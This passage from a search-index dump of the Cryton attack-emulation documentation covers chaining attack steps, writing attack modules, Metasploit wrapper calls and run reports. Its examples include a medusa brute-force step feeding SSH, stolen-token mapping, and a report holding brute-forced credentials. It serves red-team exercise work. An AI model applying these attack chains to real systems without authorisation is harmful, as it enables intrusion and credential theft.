<code>((\\[[0-9]+])+$)</code>)</li> </ul> <p>There are two techniques for sharing the outputs of modules between steps:</p> <ul> <li>output_prefix</li> <li>output_mapping</li> </ul>"},{"location":"designing-phase/step/#output-prefix","title":"Output prefix","text":"<p>By default, the prefix string is set to the name of the step. Using its name, any other step can query its output (serialized_output of its attack module execution) and use it in its arguments.</p> <p>Alternatively, this prefix can be set to a custom string. This way, multiple equivalent steps can return the same prefixed variable value to be used by a dependent step. For example: <pre><code>- name: bruteforce\nstep_type: worker/execute\nis_init: true\noutput_prefix: custom_prefix\narguments:\nmodule: mod_medusa\n# Should return username and password in a dictionary\nmodule_arguments:\ntarget: localhost\n# Default password list in mod_medusa folder will be used for bruteforce\ncredentials:\nusername: admin\nnext:\n- type: result\nvalue: OK\nstep: mod_ssh\n- name: mod_ssh\nstep_type: worker/execute\narguments:\nmodule: mod_ssh\nmodule_arguments:\nusername: $custom_prefix.username\npassword: $custom_prefix.password\n</code></pre> Also, there is a special prefix named parent, which simply takes the output from the parent step execution (which executed the current step).</p> <p><pre><code>- name: stepA\n...\nnext:\n- type: ...\nvalue: ...\nstep: stepB\n- name: stepB\n...\narguments:\nmodule_name: mod_a\nmodule_arguments:\nusername: $parent.var\n</code></pre> Output prefix cannot be the name of other steps or the value \"parent\", otherwise, it can be any string that doesn't contain \"$\" and \".\" signs.</p>"},{"location":"designing-phase/step/#custom-separator","title":"Custom separator","text":"<p>If for some reason(for example when a key in the module's output is an IPv4 address) you don't want to use <code>.</code> as a separator in output-sharing variables, you can use the <code>settings</code> parameter in the Plan parameters with a <code>separator</code> key for defining custom separator.</p> <p>Example of a custom separator used on parent prefix example above: <pre><code>plan:\nname: my-plan\nowner: my name\nsettings:\nseparator: \"|\"\nstages:\n- name: my-stage\n...\nsteps:\n- name: stepA\n...\nnext:\n- type: ...\nvalue: ...\nstep: stepB\n- name: stepB\n...\narguments:\nmodule: mod_a\nmodule_arguments:\nusername: $parent|arg\n</code></pre></p>"},{"location":"designing-phase/step/#output-mapping","title":"Output mapping","text":"<p>Sometimes you do not care from which module you receive information. Step A and Step B can both return a stolen authentication token. For this reason, you can use <code>output_prefix</code>. But there is an obvious problem! What if both steps return this value under a different name, e.g. <code>token</code> and <code>auth_token</code>? Prefix would not help you much in this situation. For this reason, there is a <code>output_mapping</code> mechanism. <pre><code>- name: step_a\n# Returns 'token'\noutput_prefix: steal\noutput_mapping:\n- name_from: token\nname_to: stolen_token\nstep_type: worker/execute\narguments:\nmodule: mod_a\nmodule_arguments:\n...\n- name: step_b\n# Returns 'auth_token'\noutput_prefix: steal\noutput_mapping:\n- name_from: auth_token\nname_to: stolen_token\nstep_type: worker/execute\narguments:\nmodule: mod_b\nmodule_arguments:\n...\n- name: step_c\nstep_type: worker/execute\narguments:\nmodule: mod_c\nmodule_arguments:\ntoken: $steal.stolen_token\n</code></pre></p>"},{"location":"designing-phase/step/#execution-variables","title":"Execution variables","text":"<p>To assign different values for each Plan execution in Run, you can use execution variables. To define execution variables, use Jinja (with some tweaks) instead of filling the arguments with real values while creating a Plan template. For example: <pre><code>module_arguments:\ntarget: '{{ my_jinja_variable }}'\n</code></pre></p> <p>IMPORTANT: Execution variables must be defined as a string using single quotes, otherwise they won't be matched.</p> <p>And before you execute Run (and its Plan execution(s)), upload your variable(s). (see CLI) </p> <p>Example of a file with execution variables: <pre><code>variable: localhost\nnested:\nvariable: value\nvariable_list:\n- var1\n- var2\n</code></pre></p> <p>If a variable cannot be filled, the Step errors out.</p>"},{"location":"designing-phase/step/#limitations","title":"Limitations","text":"<ul> <li>Execution variables must be defined as a string using single quotes. <pre><code>foo: '{{ variable }}'\n</code></pre></li> <li>In the case of Step type <code>worker/execute</code> you can use these variables only for the <code>module_arguments</code> parameter and its sub-parameters. For <code>empire/agent-deploy</code> or <code>empire/execute</code> you can use these variables for the root <code>arguments</code> parameter and its sub-parameters.</li> <li>Currently, there is support for simple and nested variables only. Examples: <pre><code>foo: '{{ variable }}'\nfoo: '{{ nested.variable }}'\nfoo: '{{ variable[index] }}'\nfoo: '{{ nested.variable[index] }}'\n</code></pre></li> <li>If you want to use more Jinja goodies, use the raw block: <pre><code>foo: {% raw %} '{{ variable + 14 }}' {% endraw %}\n</code></pre></li> </ul>"},{"location":"designing-phase/template/","title":"Template (attack scenario)","text":""},{"location":"designing-phase/template/#what-is-the-attack-scenario","title":"What is the attack scenario","text":"<p>Let's start with the description of the attack scenario. Scenario and Plan can be used interchangeably - Plan is just the name of the element in the formal description of the attack scenario.</p> <p>An attack scenario is a sequence of steps with some common objective. This objective may be data ex-filtration, access to target systems, denial of service, or any other harmful action. For some exercises, every attack should be divisible into different stages. Imagine you have to attack infrastructure with multiple machines - each machine can be a separate stage. Or you want to attack according to some kill-chain, e.g. the first stage would be scanning of the infrastructure, the second is brute force attack on credentials to found systems, etc.</p> <p>The last and most important element of the Plan description is the step. This is the execution of an attack script or tool against the target. A step can be running a Metasploit exploit, or running a Nmap scan. Steps are dependent on each other, and so they create an execution tree, where each of them has set the list of successors based on some condition. The condition may be a success or a string value returned by its predecessor.</p> <p>Putting this all together you get the whole attack scenario (called Plan), which is divided into different stages (called Stage). Every stage is set to run at a specific time, as this is often required by the exercise. And finally, each stage consists of attack steps (called Step), which are organized in a non-binary tree described above.</p>"},{"location":"designing-phase/template/#what-is-the-plan-template","title":"What is the plan template","text":"<p>The first step in designing a Plan (attack scenario) is creating a plan template. A template is basically a Plan object written in YAML.</p> <p></p> <p>The template itself is not a fully described attack scenario. The structure of the Attack (execution tree) is correct, but there are still unfilled places (e.g. IP addresses of targets or other inventory variables). This way a template can be designed before knowing these details and used in multiple different environments.</p> <p>An abstract Plan can look like this: <pre><code>Plan\nStage 1\nStep 1\nStep 2\nStage 2\nStep 3\n</code></pre></p>"},{"location":"development/cli/","title":"CLI","text":""},{"location":"development/cli/#settings","title":"Settings","text":"<p>The best thing you can do is to change the app directory to <code>path/to/cryton-cli/</code>. That way, you can edit the default .env file and use it for the compose files. <pre><code>export CRYTON_CLI_APP_DIRECTORY=path/to/cryton-cli/\n</code></pre></p> <p>Link to the settings.</p>"},{"location":"development/cli/#installation","title":"Installation","text":"<p>Requirements</p> <ul> <li>Python >=3.8,<3.12</li> <li>Poetry</li> </ul> <p>Recommendations</p> <ul> <li>Override the settings</li> </ul> <p>Clone the repository: <pre><code>git clone https://gitlab.ics.muni.cz/cryton/cryton-cli.git\n</code></pre></p> <p>Then go to the correct directory and install the project: <pre><code>cd cryton-cli\npoetry install\n</code></pre></p> <p>To spawn a shell use: <pre><code>poetry shell\n</code></pre></p>"},{"location":"development/cli/#usage","title":"Usage","text":"<pre><code>cryton-cli\n</code></pre> <p>Link to the usage.</p>"},{"location":"development/cli/#testing","title":"Testing","text":""},{"location":"development/cli/#pytest","title":"Pytest","text":"<pre><code>pytest --cov=cryton_cli tests/unit_tests --cov-config=.coveragerc-unit --cov-report html\n</code></pre> <pre><code>pytest --cov=cryton_cli tests/integration_tests --cov-config=.coveragerc-integration --cov-report html\n</code></pre> Run specific test <pre><code>my_test_file.py::MyTestClass::my_test\n</code></pre>"},{"location":"development/cli/#tox","title":"tox","text":"<p>Use in combination with pyenv.</p> <pre><code>tox -- tests/unit_tests/ --cov=cryton_cli --cov-config=.coveragerc-unit\n</code></pre> <pre><code>tox -- tests/integration_tests/ --cov=cryton_cli --cov-config=.coveragerc-integration\n</code></pre>"},{"location":"development/core/","title":"Core","text":""},{"location":"development/core/#settings","title":"Settings","text":"<p>The best thing you can do is to change the app directory to <code>path/to/cryton-core/</code>. That way, you can edit the default .env file and use it for the compose files. <pre><code>export CRYTON_CORE_APP_DIRECTORY=path/to/cryton-core/\n</code></pre></p> <p>Link to the settings.</p>"},{"location":"development/core/#installation","title":"Installation","text":"<p>Requirements</p> <ul> <li>Python >=3.8,<3.12</li> <li>Poetry</li> </ul> <p>Recommendations</p> <ul> <li>Override the settings</li> </ul> <p>Clone the repository: <pre><code>git clone https://gitlab.ics.muni.cz/cryton/cryton-core.git\n</code></pre></p> <p>Start the prerequisites: <pre><code>docker compose -f docker-compose.prerequisites.yml up -d\n</code></pre></p> Clean up and rebuild the prerequisites <p>Warning</p> <p>The following script removes unused images and volumes. Make sure you know what you're doing!</p> <pre><code>docker compose -f docker-compose.prerequisites.yml down -t 0 && docker system prune --volumes -f && docker compose -f docker-compose.prerequisites.yml up -d \n</code></pre> <p>Then go to the correct directory and install the project: <pre><code>cd cryton-core\npoetry install\n</code></pre></p> <p>To spawn a shell use: <pre><code>poetry shell\n</code></pre></p>"},{"location":"development/core/#usage","title":"Usage","text":"<pre><code>cryton-core start\n</code></pre> <p>Link to the usage.</p>"},{"location":"development/core/#testing","title":"Testing","text":""},{"location":"development/core/#pytest","title":"Pytest","text":"<pre><code>pytest --cov=cryton_core tests/unit_tests --cov-config=.coveragerc-unit --cov-report html\n</code></pre> <pre><code>pytest --cov=cryton_core tests/integration_tests --cov-config=.coveragerc-integration --cov-report html\n</code></pre> Run specific test <pre><code>my_test_file.py::MyTestClass::my_test\n</code></pre>"},{"location":"development/core/#tox","title":"tox","text":"<p>Use in combination with pyenv.</p> <pre><code>tox -- tests/unit_tests/ --cov=cryton_core --cov-config=.coveragerc-unit\n</code></pre> <pre><code>tox -- tests/integration_tests/ --cov=cryton_core --cov-config=.coveragerc-integration\n</code></pre>"},{"location":"development/core/#django-setup-for-testing-scripts","title":"django setup for testing scripts","text":"<pre><code>import os\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"cryton_core.settings\")\nimport django\ndjango.setup()\n</code></pre>"},{"location":"development/core/#django-migrations","title":"Django migrations","text":""},{"location":"development/core/#apply-migrations","title":"Apply migrations","text":"<pre><code>cryton-core migrate\n</code></pre>"},{"location":"development/core/#init-migrations","title":"Init migrations","text":"<p>Migrations in <code>cryton_core/cryton_app/migrations/</code> must be empty <pre><code>cryton-core makemigrations cryton_app\n</code></pre></p>"},{"location":"development/frontend/","title":"Frontend","text":""},{"location":"development/frontend/#installation","title":"Installation","text":"<p>Requirements</p> <ul> <li>npm</li> </ul> <p>Install dependencies: <pre><code>npm install\n</code></pre></p>"},{"location":"development/frontend/#usage","title":"Usage","text":"<p>Start a development server: <pre><code>npm start\n</code></pre></p> <p>The app will refresh itself when the project changes.</p> <p>We use Husky to run pre-commit hooks</p> <ul> <li>Code formatting with Prettier.</li> <li>Linting with ESLint.</li> <li>Running unit tests with Karma.</li> </ul>"},{"location":"development/modules/","title":"Modules","text":"<p>Modules are hot-swappable, which means the modules don't have to be present at startup. This is especially useful for development but not recommended for production.</p>"},{"location":"development/modules/#input-parameters","title":"Input parameters","text":"<p>Every module has its input parameters. These input parameters are given by the Worker as a dictionary to the module <code>execute</code> (when executing the module) or <code>validate</code> (when validating the module parameters) function. </p>"},{"location":"development/modules/#output-parameters","title":"Output parameters","text":"<p>Every attack module (its <code>execute</code> function) returns a dictionary to the Worker with the following keys:</p> Parameter name Parameter meaning <code>return_code</code> Numeric representation of result (0, -1, -2). 0 (OK) means the module finished successfully.-1 (FAIL) means the module finished unsuccessfully.-2 (ERROR) means the module finished with an unhandled error. <code>serialized_output</code> Parsed output of the module. Eg. for a brute force module, this might be a list of found usernames and passwords. <code>output</code> Raw output of the module"},{"location":"development/modules/#how-to-create-attack-modules","title":"How to create attack modules","text":"<p>In this section, we will discuss best practices and some rules that each module must follow.</p> <p>To be able to execute a module using the Worker, it must have the following structure and IO arguments.</p> <ul> <li>Each module must have its directory with its name.</li> <li>The main module script must be called <code>mod.py</code>.</li> <li>Module must contain an <code>execute</code> function that takes a dictionary and returns a dictionary. It's an entry point for executing it.</li> <li>Module should contain a <code>validate</code> function that takes a dictionary, validates it, and returns 0 if it's okay, else raises an exception.</li> </ul> <p>Path example: <code>/CRYTON_WORKER_MODULES_DIR/my-module-name/mod.py</code></p> <p>Where:</p> <ul> <li>CRYTON_WORKER_MODULES_DIR has to be the same path as is defined in the CRYTON_WORKER_MODULES_DIR variable.</li> <li>my-module-name is the directory containing your module.</li> <li>mod.py is the module file.</li> </ul> <p>Here's an example of a typical module directory: <pre><code>my_module_name/\n\u251c\u2500\u2500 mod.py\n\u251c\u2500\u2500 test_mod.py\n\u251c\u2500\u2500 README.md\n\u251c\u2500\u2500 requirements.txt\n\u2514\u2500\u2500 example.py\n</code></pre></p>"},{"location":"development/modules/#modpy","title":"mod.py","text":"<p>The most important file is the module itself (must be called <code>mod.py</code>). It consists of two main methods: - <code>execute</code> (is used as an entry point for module execution; takes and returns dictionary) - <code>validate</code> (is used to validate input parameters for the <code>execute</code> method; takes dictionary and returns 0 if it's okay, else raises an exception)</p> <p>You can also use prebuilt functionality from Worker.</p> <p>Here's a simple example: <pre><code>def validate(arguments: dict) -> int:\n if arguments != {}:\n return 0 # If arguments are valid.\n raise Exception(\"No arguments\") # If arguments aren't valid.\n\ndef execute(arguments: dict) -> dict:\n # Do stuff.\n return {\"return_code\": 0, \"serialized_output\": [\"x\", \"y\"]}\n</code></pre></p> <p>And also a bit more complex example: <pre><code>from schema import Schema\nfrom cryton_worker.lib.util.module_util import File\n\n\ndef validate(arguments: dict) -> int:\n\"\"\"\n Validate input arguments for the execute function.\n :param arguments: Arguments for module execution\n :raises: schema.SchemaError\n :return: 0 If arguments are valid\n \"\"\"\n conf_schema = Schema({\n 'path': File(str),\n })\n\n conf_schema.validate(arguments)\n return 0\n\n\ndef execute(arguments: dict) -> dict:\n\"\"\"\n This attack module can read a local file.\n Detailed information should be in README.md.\n :param arguments: Arguments for module execution\n :return: Generally supported output parameters (for more information check Cryton Worker README.md)\n \"\"\"\n # Set default return values\n ret_vals = {\n \"return_code\": -1,\n \"serialized_output\": {},\n \"output\": \"\"\n }\n\n # Parse arguments\n path_to_file = arguments.get(\"path\")\n\n try: # Try to get the file's content\n with open(path_to_file) as f:\n my_file = f.read()\n except IOError as ex: # In case of fatal error (expected) update output\n ret_vals.update({'output': str(ex)})\n return ret_vals\n\n # In case of success update return_code to 0 (OK) and send the file content to the worker\n ret_vals.update({\"return_code\": 0})\n ret_vals.update({'output': my_file})\n\n return ret_vals\n</code></pre></p>"},{"location":"development/modules/#test_modpy","title":"test_mod.py","text":"<p>Contains a set of tests to check if the code is correct.</p> <p>Here's a simple example: <pre><code>from mod import execute\n\n\nclass TestMyModuleName:\n def test_mod_execute(self):\n arguments = {'cmd': \"test\"}\n\n result = execute(arguments)\n\n assert result == {\"return_code\": 0}\n</code></pre></p>"},{"location":"development/modules/#readmemd","title":"README.md","text":"<p>README file should describe what the module is for, its IO parameters, and give the user some examples.</p> <p>It should also say what system requirements are necessary (with version).</p>"},{"location":"development/modules/#requirementstxt","title":"requirements.txt","text":"<p>Here are the specified Python packages that are required to run the module. These requirements must be compliant with the Python requirements in Cryton Worker.</p> <p>For example, if the module wants to use the <code>schema</code> package with version 2.0.0, but the Worker requires version 2.1.1, it won't work.</p>"},{"location":"development/modules/#examplepy","title":"example.py","text":"<p>Is a set of predefined parameters that should allow the user to test if the module works as intended.</p> <p>Example:</p> <pre><code>from mod import execute, validate\n\nargs = {\n \"argument1\": \"value1\",\n \"argument2\": \"value2\"\n}\n\nvalidate_output = validate(args)\nprint(f\"validate output: {validate_output}\")\n\nexecute_output = execute(args)\nprint(f\"execute output: {execute_output}\")\n</code></pre>"},{"location":"development/modules/#prebuilt-functionality","title":"Prebuilt functionality","text":"<p>The worker provides prebuilt functionality to make building modules easier. Import it using: <pre><code>from cryton_worker.lib.util import module_util\n</code></pre></p> <p>It gives you access to:</p>"},{"location":"development/modules/#metasploit","title":"Metasploit","text":"<p>Wrapper for MsfRpcClient from pymetasploit3. Examples: <pre><code># Check if the connection to msfrpcd is OK before doing anything.\nfrom cryton_worker.lib.util.module_util import Metasploit\nmsf = Metasploit()\nif msf.is_connected():\n msf.do_stuff()\n</code></pre> <pre><code>from cryton_worker.lib.util.module_util import Metasploit\nsearch_criteria = {\"via_exploit\": \"my/exploit\"}\nfound_sessions = Metasploit().get_sessions(**search_criteria)\n</code></pre> <pre><code>from cryton_worker.lib.util.module_util import Metasploit\noutput = Metasploit().execute_in_session(\"my_command\", \"session_id\")\n</code></pre></p> <p><pre><code>from cryton_worker.lib.util.module_util import Metasploit\n\noptions = {\"exploit_arguments\": {}, \"payload_arguments\": {}}\nMetasploit().execute_exploit(\"my_exploit\", \"my_payload\", **options)\n</code></pre> <pre><code>from cryton_worker.lib.util.module_util import Metasploit\ntoken = Metasploit().client.add_perm_token()\n</code></pre> <pre><code>from cryton_worker.lib.util.module_util import Metasploit\noutput = Metasploit().get_parameter_from_session(\"session_id\", \"my_param\")\n</code></pre></p>"},{"location":"development/modules/#get_file_binary","title":"get_file_binary","text":"<p>Function to get a file as binary. Example: <pre><code>from cryton_worker.lib.util.module_util import get_file_binary\nmy_file_content = get_file_binary(\"/path/to/my/file\")\n</code></pre></p>"},{"location":"development/modules/#file","title":"File","text":"<p>Class used with schema for validation if the file exists. Example: <pre><code>from schema import Schema\nfrom cryton_worker.lib.util.module_util import File\nschema = Schema(File(str))\nschema.validate(\"/path/to/file\")\n</code></pre></p>"},{"location":"development/modules/#dir","title":"Dir","text":"<p>Class used with schema for validation if the directory exists. Example: <pre><code>from schema import Schema\nfrom cryton_worker.lib.util.module_util import Dir\nschema = Schema(Dir(str))\nschema.validate(\"/path/to/directory\")\n</code></pre></p>"},{"location":"development/worker/","title":"Worker","text":""},{"location":"development/worker/#settings","title":"Settings","text":"<p>The best thing you can do is to change the app directory to <code>path/to/cryton-worker/</code>. That way, you can edit the default .env file and use it for the compose files. <pre><code>export CRYTON_WORKER_APP_DIRECTORY=path/to/cryton-worker/\n</code></pre></p> <p>Link to the settings.</p>"},{"location":"development/worker/#installation","title":"Installation","text":"<p>Requirements</p> <ul> <li>Python >=3.8,<3.12</li> <li>Poetry</li> </ul> <p>Recommendations</p> <ul> <li>Override the settings</li> </ul> <p>Clone the repository: <pre><code>git clone https://gitlab.ics.muni.cz/cryton/cryton-worker.git\n</code></pre></p> <p>Start the prerequisites.</p> <p>Then go to the correct directory and install the project: <pre><code>cd cryton-worker\npoetry install\n</code></pre></p> <p>To spawn a shell use: <pre><code>poetry shell\n</code></pre></p>"},{"location":"development/worker/#usage","title":"Usage","text":"<pre><code>cryton-worker start\n</code></pre> <p>Link to the usage.</p>"},{"location":"development/worker/#testing","title":"Testing","text":""},{"location":"development/worker/#pytest","title":"Pytest","text":"<pre><code>pytest --cov=cryton_worker tests/unit_tests --cov-config=.coveragerc-unit --cov-report html\n</code></pre> Run specific test <pre><code>my_test_file.py::MyTestClass::my_test\n</code></pre>"},{"location":"development/worker/#tox","title":"tox","text":"<p>Use in combination with pyenv.</p> <pre><code>tox -- tests/unit_tests/ --cov=cryton_worker --cov-config=.coveragerc-unit\n</code></pre>"},{"location":"development/worker/#bending-the-rabbitmq-api","title":"Bending the RabbitMQ API","text":"<p>It is possible to use Cryton Worker as a standalone application and control it using your requests. It is also possible to create your Worker and use Core to control it.</p>"},{"location":"execution-phase/execution/","title":"Execution statistics","text":"<p>There are special kinds of objects called Executions for every unit in the attack scenario:</p> <ul> <li>Plan execution</li> <li>Stage execution</li> <li>Step execution</li> </ul> <p>These are not objects that need to be created by you - instead, they are created when their respective unit is executed. This way the history and results of each execution can be stored.</p> <p>Every Execution object stores a start and finish time, so it is easy to count the running times of each unit. With Steps the Execution is also a place where the output and results from attack modules are stored.</p>"},{"location":"execution-phase/execution/#plan-execution","title":"Plan execution","text":"<p>For every execution of the Plan (on a given Worker) a new Plan execution is created.</p> <p>The importance of this object is in keeping the history of executions of a given run. This object also connects all other sub-executions (Stage and Step) with the Run.</p>"},{"location":"execution-phase/execution/#parameters","title":"Parameters","text":"<p>The following table contains a list of output parameters.</p> Name Description Type Example state Current state of the execution. string PENDING start_time When the execution started. datetime 2022-07-21T20:37:28.343619Z pause_time Time of the last pause. datetime 2022-07-21T20:37:28.343619Z finish_time When the execution finished. datetime 2022-07-21T20:37:28.343619Z schedule_time When is the execution supposed to start. datetime 2022-07-21T20:37:28.343619Z aps_job_id ID of the job in scheduler. string abcd-1d2c-abcd-1d2c run Run of which it is a part of. int 1 worker Which Worker is used for the execution. int 1 evidence_directory In what directory is the evidence saved. string /path/to/evidence/directory"},{"location":"execution-phase/execution/#states","title":"States","text":"<p>Here is a map of allowed states, transitions, and their description.</p> <p></p> <p>PENDING - Every execution starts its lifecycle in this state - it is inactive.</p> <p>SCHEDULED - Execution with this state will be started at the defined time.</p> <p>RUNNING - Execution is in progress and its sub-executions are being executed.</p> <p>PAUSING - If the user decides to pause the execution, it will change its state to PAUSING and wait until the conditions are met.</p> <p>PAUSED - Once all the sub-executions are paused or in a final state, the execution is marked as PAUSED.</p> <p>TERMINATING - If the user decides to kill the execution, it will change its state to TERMINATING and wait until the conditions are met.</p> <p>TERMINATED - Once all the sub-executions are stopped, the execution is marked as TERMINATED.</p> <p>FINISHED - In this state the execution, and its sub-executions have reached final states.</p>"},{"location":"execution-phase/execution/#stage-execution","title":"Stage execution","text":"<p>Stage execution contains execution data for its Stage counterpart.</p>"},{"location":"execution-phase/execution/#parameters_1","title":"Parameters","text":"<p>The following table contains a list of output parameters.</p> Name Description Type Example state Current state of the execution. string PENDING start_time When the execution started. datetime 2022-07-21T20:37:28.343619Z pause_time Time of the last pause. datetime 2022-07-21T20:37:28.343619Z finish_time When the execution finished. datetime 2022-07-21T20:37:28.343619Z schedule_time When is the execution supposed to start. datetime 2022-07-21T20:37:28.343619Z aps_job_id ID of the job in scheduler. string abcd-1d2c-abcd-1d2c trigger_id ID of the trigger on Worker. string abcd-1d2c-abcd-1d2c plan_execution Plan execution of which it is a part of. int 1"},{"location":"execution-phase/execution/#states_1","title":"States","text":"<p>Here is a map of allowed states, transitions, and their description.</p> <p></p> <p>PENDING - Every execution starts its lifecycle in this state - it is inactive.</p> <p>SCHEDULED - Execution with this state will be started at the defined time.</p> <p>STARTING - Action that requires Worker confirmation is occurring - starting listener.</p> <p>ERROR - An error occurred during execution start up - unable to start listener.</p> <p>WAITING - Execution in this state is waiting for its dependencies (other executions) to finish.</p> <p>AWAITING - Execution is awaiting a trigger activation.</p> <p>RUNNING - Execution is in progress and its sub-executions are being executed.</p> <p>PAUSING - If the user decides to pause the execution, it will change its state to PAUSING and wait until the conditions are met.</p> <p>PAUSED - Once all the sub-executions are paused or in a final state, the execution is marked as PAUSED.</p> <p>TERMINATING - If the user decides to kill the execution, it will change its state to TERMINATING and wait until the conditions are met.</p> <p>TERMINATED - Once all the sub-executions are stopped, the execution is marked as TERMINATED.</p> <p>FINISHED - In this state the execution, and its sub-executions have reached final states.</p>"},{"location":"execution-phase/execution/#step-execution","title":"Step execution","text":"<p>Step execution contains execution data for its Step counterpart.</p>"},{"location":"execution-phase/execution/#parameters_2","title":"Parameters","text":"<p>The following table contains a list of output parameters.</p> Name Description Type Example state Current state of the execution. string PENDING start_time When the execution started. datetime 2022-07-21T20:37:28.343619Z pause_time Time of the last pause. datetime 2022-07-21T20:37:28.343619Z finish_time When the execution finished. datetime 2022-07-21T20:37:28.343619Z result Result of the module execution. string OK output Received output from the module execution. string created session with id 1. serialized_output Serializable output from the module execution. dictionary {\"session_id\": 1} valid Whether the parameters passed to the module are valid or not. boolean true stage_execution Stage execution of which it is a part of. int 1"},{"location":"execution-phase/execution/#states_2","title":"States","text":"<p>Here is a map of allowed states, transitions, and their description.</p> <p></p> <p>PENDING - Every execution starts its lifecycle in this state - it is inactive.</p> <p>STARTING - Action that requires Worker confirmation is occurring - starting the execution.</p> <p>RUNNING - Module execution is in progress.</p> <p>PAUSED - Execution is marked as PAUSED if its Stage execution is pausing and only if its about to be executed next.</p> <p>TERMINATING - If the user decides to kill the execution, it will change its state to TERMINATING and wait until the conditions are met.</p> <p>TERMINATED - Once the module execution is stopped, the execution is marked as TERMINATED.</p> <p>FINISHED - In this state the execution has successfully FINISHED.</p> <p>ERROR - An unexpected error occurred during the execution.</p> <p>IGNORED - The conditions to start the execution weren't met.</p>"},{"location":"execution-phase/reporting/","title":"Reporting","text":"<p>After the Run has successfully ended (or not) you can generate a report with every Step's output and result. When you have multiple Plan executions in a single Run (when utilizing multiple Workers), you can compare each execution and use this insight to e.g. score each team in a cybersecurity exercise.</p> <p>The easiest way to generate a report is to use CLI: <pre><code>cryton-cli runs report <ID>\n</code></pre></p> <p>Optionally, you can also generate a report for Plan/Stage/Step execution.</p> <p>You can see an example report here: <pre><code>id: 7\nplan_id: 6\nplan_name: Basic example\nstate: FINISHED\nschedule_time: null\nstart_time: '2022-07-21T20:37:27.650142Z'\npause_time: null\nfinish_time: '2022-07-21T20:37:28.527673Z'\nplan_executions:\n- id: 7\nplan_name: Basic example\nstate: FINISHED\nschedule_time: null\nstart_time: '2022-07-21T20:37:27.661100Z'\nfinish_time: '2022-07-21T20:37:28.517554Z'\npause_time: null\nworker_id: 1\nworker_name: e2e-1\nevidence_dir: /tmp/run_7/worker_e2e-1\nstage_executions:\n- id: 7\nstage_name: get-localhost-credentials\nstate: FINISHED\nstart_time: '2022-07-21T20:37:27.862354Z'\npause_time: null\nfinish_time: '2022-07-21T20:37:28.504804Z'\nschedule_time: '2022-07-21T20:37:27.762581Z'\nstep_executions:\n- id: 11\nstep_name: check-ssh\nstate: FINISHED\nstart_time: '2022-07-21T20:37:27.898861Z'\nfinish_time: '2022-07-21T20:37:28.276521Z'\noutput: ''\nserialized_output:\nstats:\nargs: /usr/bin/nmap -oX - -sV -p22 192.168.61.13\nstart: '1658386108'\nscanner: nmap\nversion: '7.80'\nstartstr: Thu Jul 21 06:48:28 2022\nxmloutputversion: '1.04'\nruntime:\nexit: success\ntime: '1658386109'\nelapsed: '0.31'\nsummary: Nmap done at Thu Jul 21 06:48:29 2022; 1 IP address (1 host up)\nscanned in 0.31 seconds\ntimestr: Thu Jul 21 06:48:29 2022\n192.168.61.13:\nports:\n- cpe:\n- cpe: cpe:/a:openbsd:openssh:8.4p1\n- cpe: cpe:/o:linux:linux_kernel\nstate: open\nportid: '22'\nreason: syn-ack\nscripts: []\nservice:\nconf: '10'\nname: ssh\nmethod: probed\nostype: Linux\nproduct: OpenSSH\nversion: 8.4p1 Debian 5\nextrainfo: protocol 2.0\nprotocol: tcp\nreason_ttl: '64'\nstate:\nstate: up\nreason: arp-response\nreason_ttl: '0'\nosmatch: {}\nhostname:\n- name: 192.168.61.13\ntype: PTR\nmacaddress:\naddr: 08:00:27:D4:BF:9E\nvendor: Oracle VirtualBox virtual NIC\naddrtype: mac\nevidence_file: 'No evidence '\nresult: OK\nvalid: false\n- id: 12\nstep_name: bruteforce\nstate: FINISHED\nstart_time: '2022-07-21T20:37:28.343619Z'\nfinish_time: '2022-07-21T20:37:28.479002Z'\noutput: ''\nserialized_output:\npassword: victim\nusername: victim\nall_credentials:\n- password: victim\nusername: victim\nevidence_file: 'No evidence '\nresult: OK\nvalid: false\n</code></pre></p>"},{"location":"execution-phase/run/","title":"What is Run","text":"<p>When you finally have a Plan instance stored in the database, you can create a new Run. For every Worker, a new Plan execution is created. The reason behind this is a storage of execution history, so it is possible to compare results in Run and usage of different variables for Plan executions. As mentioned before, you can leave Step argument as an empty Jinja variable. Now, before execution, you can use different values for each Plan execution.</p>"},{"location":"execution-phase/run/#parameters","title":"Parameters","text":"<p>The following table contains a list of output parameters.</p> Name Description Type Example state Current state of the execution. string PENDING start_time When the execution started. datetime 2022-07-21T20:37:28.343619Z pause_time Time of the last pause. datetime 2022-07-21T20:37:28.343619Z finish_time When the execution finished. datetime 2022-07-21T20:37:28.343619Z schedule_time When is the execution supposed to start. datetime 2022-07-21T20:37:28.343619Z aps_job_id ID of the job in scheduler. string abcd-1d2c-abcd-1d2c plan Which Plan is used for the execution. int 1"},{"location":"execution-phase/run/#states","title":"States","text":"<p>Here is a map of allowed states, transitions, and their description.</p> <p></p> <p>PENDING - Every execution starts its lifecycle in this state - it is inactive.</p> <p>SCHEDULED - Execution with this state will be started at the defined time.</p> <p>RUNNING - Execution is in progress and its sub-executions are being executed.</p> <p>PAUSING - If the user decides to pause the execution, it will change its state to PAUSING and wait until the conditions are met.</p> <p>PAUSED - Once all the sub-executions are paused or in a final state, the execution is marked as PAUSED.</p> <p>TERMINATING - If the user decides to kill the execution, it will change its state to TERMINATING and wait until the conditions are met.</p> <p>TERMINATED - Once all the sub-executions are stopped, the execution is marked as TERMINATED.</p> <p>FINISHED - In this state the execution, and its sub-executions have reached final states.</p>"},{"location":"execution-phase/run/#actions","title":"Actions","text":"<p>To give you the ability to control your attack plan, here is a list of the supported actions.</p>"},{"location":"execution-phase/run/#execute","title":"Execute","text":"<p>The basic action you can do is Execute the Run. This will start it instantly. What does that mean?</p> <ul> <li>Delta and DateTime triggered Stages are scheduled</li> <li>HTTP/MSF triggers are started on Workers</li> <li>Run state is set to RUNNING</li> </ul>"},{"location":"execution-phase/run/#schedule-reschedule-unschedule-postpone","title":"Schedule, Reschedule, Unschedule, Postpone","text":"<p>Schedule action does just that - it schedules an Execute action at a given time. If you want to change the time of your execution, you can still reschedule it or simply unschedule it and leave it in a pending state. You can also postpone your scheduled execution.</p>"},{"location":"execution-phase/run/#pause-unpause","title":"Pause, Unpause","text":"<p>Anytime during Run execution, you can pause it. To continue the Run, simply issue the unpause command. </p>"},{"location":"execution-phase/run/#kill","title":"Kill","text":"<p>Terminate (forcefully) Run's execution and its sub-executions.</p>"},{"location":"execution-phase/run/#validate-modules","title":"Validate modules","text":"<p>Check if all the modules used in the Run are present on desired Workers and if their arguments set in the Plan are correct.</p>"},{"location":"getting-started/ansible/","title":"Ansible","text":""},{"location":"getting-started/ansible/#description","title":"Description","text":"<p>This project is used for deploying the Cryton toolset using Ansible. </p> <p>Cryton 